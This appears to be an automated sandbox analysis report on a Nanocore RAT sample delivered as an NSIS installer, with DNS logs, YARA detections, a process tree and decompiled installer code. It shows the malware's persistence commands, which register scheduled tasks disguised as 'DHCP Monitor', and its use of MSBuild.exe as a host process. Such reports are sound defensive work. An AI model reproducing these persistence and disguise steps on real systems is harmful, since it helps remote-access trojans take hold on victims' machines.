May 12, 2021 09:44:37.211580038 CEST	53	65110	8.8.8.8	192.168.2.3
May 12, 2021 09:44:38.300517082 CEST	58361	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:38.354060888 CEST	53	58361	8.8.8.8	192.168.2.3
May 12, 2021 09:44:42.776598930 CEST	63492	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:42.834000111 CEST	53	63492	8.8.8.8	192.168.2.3
May 12, 2021 09:44:43.757005930 CEST	60831	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:43.812577009 CEST	53	60831	8.8.8.8	192.168.2.3
May 12, 2021 09:44:44.780057907 CEST	60100	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:44.829046965 CEST	53	60100	8.8.8.8	192.168.2.3
May 12, 2021 09:44:47.608786106 CEST	53195	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:47.660283089 CEST	53	53195	8.8.8.8	192.168.2.3
May 12, 2021 09:44:49.955550909 CEST	50141	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:50.006314039 CEST	53	50141	8.8.8.8	192.168.2.3
May 12, 2021 09:44:51.224637985 CEST	53023	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:51.275702000 CEST	53	53023	8.8.8.8	192.168.2.3
May 12, 2021 09:44:52.704076052 CEST	49563	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:52.753058910 CEST	53	49563	8.8.8.8	192.168.2.3
May 12, 2021 09:44:53.841758013 CEST	51352	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:53.892168999 CEST	53	51352	8.8.8.8	192.168.2.3
May 12, 2021 09:44:56.843431950 CEST	59349	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:56.893704891 CEST	53	59349	8.8.8.8	192.168.2.3
May 12, 2021 09:44:57.863147020 CEST	57084	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:57.912159920 CEST	53	57084	8.8.8.8	192.168.2.3
May 12, 2021 09:44:59.025852919 CEST	58823	53	192.168.2.3	8.8.8.8
May 12, 2021 09:44:59.077375889 CEST	53	58823	8.8.8.8	192.168.2.3
May 12, 2021 09:45:03.918459892 CEST	57568	53	192.168.2.3	8.8.8.8
May 12, 2021 09:45:03.993010044 CEST	53	57568	8.8.8.8	192.168.2.3
May 12, 2021 09:45:04.259522915 CEST	50540	53	192.168.2.3	8.8.8.8
May 12, 2021 09:45:04.350425005 CEST	53	50540	8.8.8.8	192.168.2.3
May 12, 2021 09:45:19.328228951 CEST	54366	53	192.168.2.3	8.8.8.8
May 12, 2021 09:45:19.390644073 CEST	53	54366	8.8.8.8	192.168.2.3
May 12, 2021 09:45:24.734114885 CEST	53034	53	192.168.2.3	8.8.8.8
May 12, 2021 09:45:24.793651104 CEST	53	53034	8.8.8.8	192.168.2.3
May 12, 2021 09:45:37.273210049 CEST	57762	53	192.168.2.3	8.8.8.8
May 12, 2021 09:45:37.332145929 CEST	53	57762	8.8.8.8	192.168.2.3
May 12, 2021 09:45:42.478077888 CEST	55435	53	192.168.2.3	8.8.8.8
May 12, 2021 09:45:42.536917925 CEST	53	55435	8.8.8.8	192.168.2.3
May 12, 2021 09:46:14.662676096 CEST	50713	53	192.168.2.3	8.8.8.8
May 12, 2021 09:46:14.730705976 CEST	53	50713	8.8.8.8	192.168.2.3
May 12, 2021 09:46:16.464292049 CEST	56132	53	192.168.2.3	8.8.8.8
May 12, 2021 09:46:16.521667004 CEST	53	56132	8.8.8.8	192.168.2.3

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: NAO09009009.exe PID: 5896 Parent PID: 5780

General

Start time:	09:44:37
Start date:	12/05/2021
Path:	C:\Users\user\Desktop\NAO09009009.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\NAO09009009.exe'
Imagebase:	0x400000
File size:	283759 bytes
MD5 hash:	592B395D837E34B3770D6113B213B877
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000000.00000002.219500091.0000000000B50000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	low

Chronological Activities

Analysis Process: MSBuild.exe PID: 1240 Parent PID: 5896

General

Start time:	09:44:38
Start date:	12/05/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\NAO09009009.exe'
Imagebase:	0x470000
File size:	69632 bytes
MD5 hash:	88BBB7610152B48C2B3879473B17857E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000002.00000002.484138546.0000000005490000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000002.00000002.484138546.0000000005490000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, Author: Florian Roth Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000002.00000002.484247616.0000000005720000.00000004.00000001.sdmp, Author: Joe Security Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000002.00000002.475482671.0000000000402000.00000040.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net> Rule: JoeSecurity_Nanocore, Description: Yara detected Nanocore RAT, Source: 00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp, Author: Joe Security Rule: NanoCore, Description: unknown, Source: 00000002.00000002.482810571.0000000003BF7000.00000004.00000001.sdmp, Author: Kevin Breen <kevin@techanarchy.net>
Reputation:	moderate

Chronological Activities

Analysis Process: schtasks.exe PID: 5404 Parent PID: 1240

General

Start time:	09:44:42
Start date:	12/05/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'schtasks.exe' /create /f /tn 'DHCP Monitor' /xml 'C:\Users\user\AppData\Local\Temp\tmpD89D.tmp'
Imagebase:	0x1260000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 968 Parent PID: 5404

General

Start time:	09:44:42
Start date:	12/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: schtasks.exe PID: 1264 Parent PID: 1240

General

Start time:	09:44:42
Start date:	12/05/2021
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	'schtasks.exe' /create /f /tn 'DHCP Monitor Task' /xml 'C:\Users\user\AppData\Local\Temp\tmpDC18.tmp'
Imagebase:	0x1260000
File size:	185856 bytes
MD5 hash:	15FF7D8324231381BAD48A052F85DF04
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 3732 Parent PID: 1264

General

Start time:	09:44:43
Start date:	12/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: MSBuild.exe PID: 5888 Parent PID: 528

General

Start time:	09:44:44
Start date:	12/05/2021
Path:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v2.0.50727\MSBuild.exe 0
Imagebase:	0x110000
File size:	69632 bytes
MD5 hash:	88BBB7610152B48C2B3879473B17857E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 4900 Parent PID: 5888

General

Start time:	09:44:44
Start date:	12/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: dhcpmon.exe PID: 6076 Parent PID: 528

General

Start time:	09:44:44
Start date:	12/05/2021
Path:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe' 0
Imagebase:	0xb20000
File size:	69632 bytes
MD5 hash:	88BBB7610152B48C2B3879473B17857E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Antivirus matches:	Detection: 0%, Metadefender, Browse Detection: 0%, ReversingLabs
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 5312 Parent PID: 6076

General

Start time:	09:44:45
Start date:	12/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: dhcpmon.exe PID: 5404 Parent PID: 3388

General

Start time:	09:44:50
Start date:	12/05/2021
Path:	C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\DHCP Monitor\dhcpmon.exe'
Imagebase:	0x9e0000
File size:	69632 bytes
MD5 hash:	88BBB7610152B48C2B3879473B17857E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	moderate

Chronological Activities

Analysis Process: conhost.exe PID: 772 Parent PID: 5404

General

Start time:	09:44:51
Start date:	12/05/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: NAO09009009.exe PID: 5896 Parent PID: 5780 NAO09009009.exeCOMMON

Executed Functions

Function 004035D8, Relevance: 84.4, APIs: 32, Strings: 16, Instructions: 410
stringfilecomCOMMON

Download Yara Rule

C-Code - Quality: 81%

			_entry_() {
				signed int _t51;
				intOrPtr* _t56;
				WCHAR* _t60;
				char* _t62;
				void* _t65;
				void* _t67;
				int _t69;
				int _t71;
				int _t74;
				intOrPtr* _t75;
				int _t76;
				int _t78;
				void* _t102;
				signed int _t119;
				void* _t122;
				void* _t127;
				intOrPtr _t146;
				intOrPtr _t147;
				intOrPtr* _t148;
				int _t150;
				void* _t153;
				int _t154;
				signed int _t158;
				signed int _t163;
				signed int _t168;
				void* _t170;
				void* _t172;
				int* _t174;
				signed int _t180;
				signed int _t183;
				CHAR* _t184;
				WCHAR* _t185;
				void* _t191;
				char* _t192;
				void* _t195;
				void* _t196;
				void* _t242;

				_t170 = 0x20;
				_t150 = 0;
				 *(_t196 + 0x14) = 0;
				 *(_t196 + 0x10) = L"Error writing temporary file. Make sure your temp folder is valid.";
				 *(_t196 + 0x1c) = 0;
				SetErrorMode(0x8001); // executed
				_t51 = GetVersion() & 0xbfffffff;
				 *0x42a26c = _t51;
				if(_t51 != 6) {
					_t148 = E00406931(0);
					if(_t148 != 0) {
						 *_t148(0xc00);
					}
				}
				_t184 = "UXTHEME";
				goto L4;
				L8:
				__imp__#17(_t191);
				__imp__OleInitialize(_t150); // executed
				 *0x42a338 = _t56;
				SHGetFileInfoW(0x421708, _t150, _t196 + 0x34, 0x2b4, _t150); // executed
				E0040653C(0x429260, L"NSIS Error");
				_t60 = GetCommandLineW();
				_t192 = L"\"C:\\Users\\hardz\\Desktop\\NAO09009009.exe\" ";
				E0040653C(_t192, _t60);
				 *0x42a260 = 0x400000;
				_t62 = _t192;
				if(L"\"C:\\Users\\hardz\\Desktop\\NAO09009009.exe\" " == 0x22) {
					_t62 =  &M00435002;
					_t170 = 0x22;
				}
				_t154 = CharNextW(E00405E3E(_t62, _t170));
				 *(_t196 + 0x18) = _t154;
				_t65 =  *_t154;
				if(_t65 == _t150) {
					L33:
					_t185 = L"C:\\Users\\hardz\\AppData\\Local\\Temp\\";
					GetTempPathW(0x400, _t185);
					_t67 = E004035A7(_t154, 0);
					_t224 = _t67;
					if(_t67 != 0) {
						L36:
						DeleteFileW(L"1033"); // executed
						_t69 = E00403068(_t226,  *(_t196 + 0x1c)); // executed
						 *(_t196 + 0x10) = _t69;
						if(_t69 != _t150) {
							L48:
							E00403B19();
							__imp__OleUninitialize();
							_t238 =  *(_t196 + 0x10) - _t150;
							if( *(_t196 + 0x10) == _t150) {
								__eflags =  *0x42a314 - _t150;
								if( *0x42a314 == _t150) {
									L72:
									_t71 =  *0x42a32c;
									__eflags = _t71 - 0xffffffff;
									if(_t71 != 0xffffffff) {
										 *(_t196 + 0x10) = _t71;
									}
									ExitProcess( *(_t196 + 0x10));
								}
								_t74 = OpenProcessToken(GetCurrentProcess(), 0x28, _t196 + 0x14);
								__eflags = _t74;
								if(_t74 != 0) {
									LookupPrivilegeValueW(_t150, L"SeShutdownPrivilege", _t196 + 0x20);
									 *(_t196 + 0x34) = 1;
									 *(_t196 + 0x40) = 2;
									AdjustTokenPrivileges( *(_t196 + 0x28), _t150, _t196 + 0x24, _t150, _t150, _t150);
								}
								_t75 = E00406931(4);
								__eflags = _t75 - _t150;
								if(_t75 == _t150) {
									L70:
									_t76 = ExitWindowsEx(2, 0x80040002);
									__eflags = _t76;
									if(_t76 != 0) {
										goto L72;
									}
									goto L71;
								} else {
									_t78 =  *_t75(_t150, _t150, _t150, 0x25, 0x80040002);
									__eflags = _t78;
									if(_t78 == 0) {
										L71:
										E0040140B(9);
										goto L72;
									}
									goto L70;
								}
							}
							E00405BA2( *(_t196 + 0x10), 0x200010);
							ExitProcess(2);
						}
						if( *0x42a280 == _t150) {
							L47:
							 *0x42a32c =  *0x42a32c | 0xffffffff;
							 *(_t196 + 0x14) = E00403C0B( *0x42a32c);
							goto L48;
						}
						_t174 = E00405E3E(_t192, _t150);
						if(_t174 < _t192) {
							L44:
							_t235 = _t174 - _t192;
							 *(_t196 + 0x10) = L"Error launching installer";
							if(_t174 < _t192) {
								_t172 = E00405B0D(_t238);
								lstrcatW(_t185, L"~nsu");
								if(_t172 != _t150) {
									lstrcatW(_t185, "A");
								}
								lstrcatW(_t185, L".tmp");
								if(lstrcmpiW(_t185, 0x436800) != 0) {
									_push(_t185);
									if(_t172 == _t150) {
										E00405AF0();
									} else {
										E00405A73();
									}
									SetCurrentDirectoryW(_t185);
									_t242 = L"C:\\Users\\hardz\\AppData\\Local\\Temp" - _t150; // 0x43
									if(_t242 == 0) {
										E0040653C(L"C:\\Users\\hardz\\AppData\\Local\\Temp", 0x436800);
									}
									E0040653C(0x42b000,  *(_t196 + 0x18));
									_t155 = "A" & 0x0000ffff;
									 *0x42b800 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
									_t195 = 0x1a;
									do {
										E00406579(_t150, 0x420f08, _t185, 0x420f08,  *((intOrPtr*)( *0x42a274 + 0x120)));
										DeleteFileW(0x420f08);
										if( *(_t196 + 0x10) != _t150 && CopyFileW(L"C:\\Users\\hardz\\Desktop\\NAO09009009.exe", 0x420f08, 1) != 0) {
											E00406302(_t155, 0x420f08, _t150);
											E00406579(_t150, 0x420f08, _t185, 0x420f08,  *((intOrPtr*)( *0x42a274 + 0x124)));
											_t102 = E00405B25(0x420f08);
											if(_t102 != _t150) {
												CloseHandle(_t102);
												 *(_t196 + 0x10) = _t150;
											}
										}
										 *0x42b800 =  *0x42b800 + 1;
										_t195 = _t195 - 1;
									} while (_t195 != 0);
									E00406302(_t155, _t185, _t150);
								}
								goto L48;
							}
							 *_t174 = _t150;
							_t175 =  &(_t174[2]);
							if(E00405F19(_t235,  &(_t174[2])) == 0) {
								goto L48;
							}
							E0040653C(L"C:\\Users\\hardz\\AppData\\Local\\Temp", _t175);
							E0040653C(0x436000, _t175);
							 *(_t196 + 0x10) = _t150;
							goto L47;
						}
						asm("cdq");
						asm("cdq");
						asm("cdq");
						_t158 = ( *0x40a33a & 0x0000ffff) << 0x00000010 | L" _?=" & 0x0000ffff;
						_t119 = ( *0x40a33e & 0x0000ffff) << 0x00000010 |  *0x40a33c & 0x0000ffff | (_t163 << 0x00000020 |  *0x40a33e & 0x0000ffff) << 0x10;
						while( *_t174 != _t158 || _t174[1] != _t119) {
							_t174 = _t174;
							if(_t174 >= _t192) {
								continue;
							}
							break;
						}
						_t150 = 0;
						goto L44;
					}
					GetWindowsDirectoryW(_t185, 0x3fb);
					lstrcatW(_t185, L"\\Temp");
					_t122 = E004035A7(_t154, _t224);
					_t225 = _t122;
					if(_t122 != 0) {
						goto L36;
					}
					GetTempPathW(0x3fc, _t185);
					lstrcatW(_t185, L"Low");
					SetEnvironmentVariableW(L"TEMP", _t185);
					SetEnvironmentVariableW(L"TMP", _t185);
					_t127 = E004035A7(_t154, _t225);
					_t226 = _t127;
					if(_t127 == 0) {
						goto L48;
					}
					goto L36;
				} else {
					do {
						_t153 = 0x20;
						if(_t65 != _t153) {
							L13:
							if( *_t154 == 0x22) {
								_t154 = _t154 + 2;
								_t153 = 0x22;
							}
							if( *_t154 != 0x2f) {
								goto L27;
							} else {
								_t154 = _t154 + 2;
								if( *_t154 == 0x53) {
									_t147 =  *((intOrPtr*)(_t154 + 2));
									if(_t147 == 0x20 || _t147 == 0) {
										 *0x42a320 = 1;
									}
								}
								asm("cdq");
								asm("cdq");
								_t168 = L"NCRC" & 0x0000ffff;
								asm("cdq");
								_t180 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t168;
								if( *_t154 == (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t168) &&  *((intOrPtr*)(_t154 + 4)) == _t180) {
									_t146 =  *((intOrPtr*)(_t154 + 8));
									if(_t146 == 0x20 || _t146 == 0) {
										 *(_t196 + 0x1c) =  *(_t196 + 0x1c) | 0x00000004;
									}
								}
								asm("cdq");
								asm("cdq");
								_t163 = L" /D=" & 0x0000ffff;
								asm("cdq");
								_t183 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t163;
								if( *(_t154 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t163) ||  *_t154 != _t183) {
									goto L27;
								} else {
									 *(_t154 - 4) =  *(_t154 - 4) & 0x00000000;
									__eflags = _t154;
									E0040653C(L"C:\\Users\\hardz\\AppData\\Local\\Temp", _t154);
									L32:
									_t150 = 0;
									goto L33;
								}
							}
						} else {
							goto L12;
						}
						do {
							L12:
							_t154 = _t154 + 2;
						} while ( *_t154 == _t153);
						goto L13;
						L27:
						_t154 = E00405E3E(_t154, _t153);
						if( *_t154 == 0x22) {
							_t154 = _t154 + 2;
						}
						_t65 =  *_t154;
					} while (_t65 != 0);
					goto L32;
				}
				L4:
				E004068C1(_t184); // executed
				_t184 =  &(_t184[lstrlenA(_t184) + 1]);
				if( *_t184 != 0) {
					goto L4;
				} else {
					E00406931(0xb);
					 *0x42a264 = E00406931(9);
					_t56 = E00406931(7);
					if(_t56 != _t150) {
						_t56 =  *_t56(0x1e);
						if(_t56 != 0) {
							 *0x42a26f =  *0x42a26f | 0x00000040;
						}
					}
					goto L8;
				}
			}

0x004035e3
0x004035e4
0x004035eb
0x004035ef
0x004035f7
0x004035fb
0x00403607
0x00403610
0x00403615
0x00403618
0x0040361f
0x00403626
0x00403626
0x0040361f
0x00403628
0x00403628
0x00403670
0x00403671
0x00403678
0x0040367e
0x00403694
0x004036a4
0x004036a9
0x004036af
0x004036b6
0x004036c3
0x004036cd
0x004036cf
0x004036d3
0x004036d8
0x004036d8
0x004036e7
0x004036e9
0x004036ed
0x004036f3
0x0040380a
0x00403810
0x0040381b
0x0040381d
0x00403822
0x00403824
0x0040387c
0x00403881
0x0040388b
0x00403892
0x00403896
0x00403947
0x00403947
0x0040394c
0x00403952
0x00403957
0x00403a7d
0x00403a83
0x00403b01
0x00403b01
0x00403b06
0x00403b09
0x00403b0b
0x00403b0b
0x00403b13
0x00403b13
0x00403a93
0x00403a99
0x00403a9b
0x00403aa8
0x00403abb
0x00403ac3
0x00403acb
0x00403acb
0x00403ad3
0x00403ad8
0x00403adf
0x00403aed
0x00403af0
0x00403af6
0x00403af8
0x00000000
0x00000000
0x00000000
0x00403ae1
0x00403ae7
0x00403ae9
0x00403aeb
0x00403afa
0x00403afc
0x00000000
0x00403afc
0x00000000
0x00403aeb
0x00403adf
0x00403966
0x0040396d
0x0040396d
0x004038a2
0x00403937
0x00403937
0x00403943
0x00000000
0x00403943
0x004038af
0x004038b3
0x00403901
0x00403901
0x00403903
0x0040390b
0x0040397e
0x00403980
0x00403987
0x0040398f
0x0040398f
0x0040399a
0x004039ae
0x004039b2
0x004039b3
0x004039bc
0x004039b5
0x004039b5
0x004039b5
0x004039c2
0x004039c8
0x004039cf
0x004039d7
0x004039d7
0x004039e5
0x004039f1
0x004039ff
0x00403a04
0x00403a0a
0x00403a16
0x00403a1c
0x00403a26
0x00403a3c
0x00403a4d
0x00403a53
0x00403a5a
0x00403a5d
0x00403a63
0x00403a63
0x00403a5a
0x00403a67
0x00403a6e
0x00403a6e
0x00403a73
0x00403a73
0x00000000
0x004039ae
0x0040390d
0x00403910
0x0040391b
0x00000000
0x00000000
0x00403923
0x0040392e
0x00403933
0x00000000
0x00403933
0x004038bc
0x004038d4
0x004038e5
0x004038e6
0x004038ea
0x004038ec
0x004038fa
0x004038fd
0x00000000
0x00000000
0x00000000
0x004038fd
0x004038ff
0x00000000
0x004038ff
0x0040382c
0x00403838
0x0040383d
0x00403842
0x00403844
0x00000000
0x00000000
0x0040384c
0x00403854
0x00403865
0x0040386d
0x0040386f
0x00403874
0x00403876
0x00000000
0x00000000
0x00000000
0x004036f9
0x004036f9
0x004036fb
0x004036ff
0x00403708
0x0040370c
0x00403711
0x00403712
0x00403712
0x00403717
0x00000000
0x0040371d
0x0040371e
0x00403723
0x00403725
0x0040372d
0x00403734
0x00403734
0x0040372d
0x00403745
0x00403758
0x00403759
0x0040376e
0x00403773
0x00403777
0x00403780
0x00403788
0x0040378f
0x0040378f
0x00403788
0x0040379b
0x004037ae
0x004037af
0x004037c4
0x004037ca
0x004037ce
0x00000000
0x004037f5
0x004037f5
0x004037fa
0x00403803
0x00403808
0x00403808
0x00000000
0x00403808
0x004037ce
0x00000000
0x00000000
0x00000000
0x00403701
0x00403701
0x00403702
0x00403703
0x00000000
0x004037d6
0x004037dd
0x004037e3
0x004037e6
0x004037e6
0x004037e7
0x004037ea
0x00000000
0x004037f3
0x0040362d
0x0040362e
0x0040363a
0x00403641
0x00000000
0x00403643
0x00403645
0x00403653
0x00403658
0x0040365f
0x00403663
0x00403667
0x00403669
0x00403669
0x00403667
0x00000000
0x0040365f

APIs

SetErrorMode.KERNELBASE ref: 004035FB
GetVersion.KERNEL32 ref: 00403601
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403634
#17.COMCTL32(?,00000007,00000009,0000000B), ref: 00403671
OleInitialize.OLE32(00000000), ref: 00403678
SHGetFileInfoW.SHELL32(00421708,00000000,?,000002B4,00000000), ref: 00403694
GetCommandLineW.KERNEL32(00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 004036A9
CharNextW.USER32(00000000,"C:\Users\user\Desktop\NAO09009009.exe" ,00000020,"C:\Users\user\Desktop\NAO09009009.exe" ,00000000,?,00000007,00000009,0000000B), ref: 004036E1

Part of subcall function 00406931: GetModuleHandleA.KERNEL32(?,00000020,?,0040364A,0000000B), ref: 00406943
Part of subcall function 00406931: GetProcAddress.KERNEL32(00000000,?), ref: 0040695E

GetTempPathW.KERNEL32(00000400,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040381B
GetWindowsDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,000003FB,?,00000007,00000009,0000000B), ref: 0040382C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,\Temp), ref: 00403838
GetTempPathW.KERNEL32(000003FC,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,\Temp,?,00000007,00000009,0000000B), ref: 0040384C
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,Low), ref: 00403854
SetEnvironmentVariableW.KERNEL32(TEMP,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,Low,?,00000007,00000009,0000000B), ref: 00403865
SetEnvironmentVariableW.KERNEL32(TMP,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 0040386D
DeleteFileW.KERNELBASE(1033,?,00000007,00000009,0000000B), ref: 00403881

Part of subcall function 0040653C: lstrcpynW.KERNEL32(?,?,00000400,004036A9,00429260,NSIS Error,?,00000007,00000009,0000000B), ref: 00406549

OleUninitialize.OLE32(00000007,?,00000007,00000009,0000000B), ref: 0040394C
ExitProcess.KERNEL32 ref: 0040396D
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,~nsu), ref: 00403980
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,0040A328), ref: 0040398F
lstrcatW.KERNEL32(C:\Users\user\AppData\Local\Temp\,.tmp), ref: 0040399A
lstrcmpiW.KERNEL32(C:\Users\user\AppData\Local\Temp\,00436800,C:\Users\user\AppData\Local\Temp\,.tmp,C:\Users\user\AppData\Local\Temp\,~nsu,"C:\Users\user\Desktop\NAO09009009.exe" ,00000000,00000007,?,00000007,00000009,0000000B), ref: 004039A6
SetCurrentDirectoryW.KERNEL32(C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,?,00000007,00000009,0000000B), ref: 004039C2
DeleteFileW.KERNEL32(00420F08,00420F08,?,0042B000,00000009,?,00000007,00000009,0000000B), ref: 00403A1C
CopyFileW.KERNEL32(C:\Users\user\Desktop\NAO09009009.exe,00420F08,00000001,?,00000007,00000009,0000000B), ref: 00403A30
CloseHandle.KERNEL32(00000000,00420F08,00420F08,?,00420F08,00000000,?,00000007,00000009,0000000B), ref: 00403A5D
GetCurrentProcess.KERNEL32(00000028,0000000B,00000007,00000009,0000000B), ref: 00403A8C
OpenProcessToken.ADVAPI32(00000000), ref: 00403A93
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403AA8
AdjustTokenPrivileges.ADVAPI32 ref: 00403ACB
ExitWindowsEx.USER32(00000002,80040002), ref: 00403AF0
ExitProcess.KERNEL32 ref: 00403B13

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403810, 00403815, 0040382B, 00403837, 00403846, 00403853, 0040385F, 00403867, 0040397D, 0040398E, 00403999, 004039A5, 004039B2, 004039C1, 00403A72
C:\Users\user\Desktop\NAO09009009.exe, xrefs: 00403A2B
UXTHEME, xrefs: 00403628, 0040362D, 00403633
TEMP, xrefs: 00403860
NSIS Error, xrefs: 0040369A
Error launching installer, xrefs: 00403903
TMP, xrefs: 00403868
"C:\Users\user\Desktop\NAO09009009.exe" , xrefs: 004036AF, 004036B5, 004038A9
\Temp, xrefs: 00403832
Low, xrefs: 0040384E
.tmp, xrefs: 00403994
~nsu, xrefs: 00403978
Error writing temporary file. Make sure your temp folder is valid., xrefs: 004035EF
C:\Users\user\AppData\Local\Temp, xrefs: 004037FE, 0040391E, 004039C8, 004039D2
1033, xrefs: 0040387C
SeShutdownPrivilege, xrefs: 00403AA2

Memory Dump Source

